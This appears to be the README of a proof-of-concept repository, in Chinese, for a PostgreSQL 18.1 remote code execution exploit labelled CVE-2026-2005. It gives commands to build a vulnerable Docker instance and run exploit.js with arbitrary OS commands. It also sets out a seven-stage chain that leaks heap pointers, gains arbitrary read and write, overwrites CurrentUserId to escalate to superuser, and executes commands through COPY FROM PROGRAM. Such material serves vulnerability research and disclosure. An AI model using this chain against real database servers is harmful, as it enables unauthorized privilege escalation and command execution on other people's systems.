# 构建并启动 PostgreSQL 18.1（存在漏洞）
docker compose up -d --build

# 等待服务就绪
docker compose logs -f postgres
# 看到 "database system is ready to accept connections" 后按 Ctrl+C

# 一次性设置：复制 postgres 二进制文件用于离线符号解析
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres

# 安装 Node 依赖
npm install

# 运行完整的 RCE 利用链（纯 SQL — 无需与 Docker 交互）
node exploit.js --cmd "id"

# 启用详细输出
node exploit.js --cmd "id" --verbose

# 执行自定义命令
node exploit.js --cmd "whoami"

阶段 1：堆指针泄露
  └─ 破坏 mdst chunk 头 → 解析 pfree() 错误消息

阶段 2：任意读取（多窗口扫描）
  └─ 覆盖 mdst->data → 扫描泄露指针附近的内存

阶段 3：指针候选收集
  └─ 扫描堆转储以查找类似指针的 8 字节值

阶段 4：PIE 基址解析
  └─ 将泄露的地址与 ELF 符号偏移量进行投票比对（按页偏移
     分组，离线 — 符号从本地二进制副本解析）

阶段 5：PIE 验证
  └─ 在候选基址处任意读取 CurrentUserId → 与会话 OID 比较

阶段 6：任意写入
  └─ 伪造 msrc + mdst MBuf → 覆盖 CurrentUserId → 10（超级用户）

阶段 7：命令执行
  └─ COPY FROM PROGRAM → 以 postgres 用户身份执行任意操作系统命令

CVE-2026-2005/
├── Dockerfile              # 从源码构建 PostgreSQL 18.1
├── docker-compose.yml      # 带自动重启的 PostgreSQL 服务
├── init.sh                 # 入口点 — initdb + 监听配置
├── README.md               # 本文件
└── poc/
    ├── package.json        # Node.js 依赖（pg）
    ├── exploit.js          # 完整的 7 阶段 RCE 利用脚本（Node.js）
    ├── verify.sh           # 基于 Shell 的快速验证
    └── test-pgcrypto.sql   # 仅 SQL 的 pgcrypto 加载测试

git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
    --prefix="$HOME/projects/pg/pgsql" \
    --with-libxml \
    --with-libxslt \
    --enable-debug \
    --with-ssl=openssl
make -j$(nproc)
make install-world-bin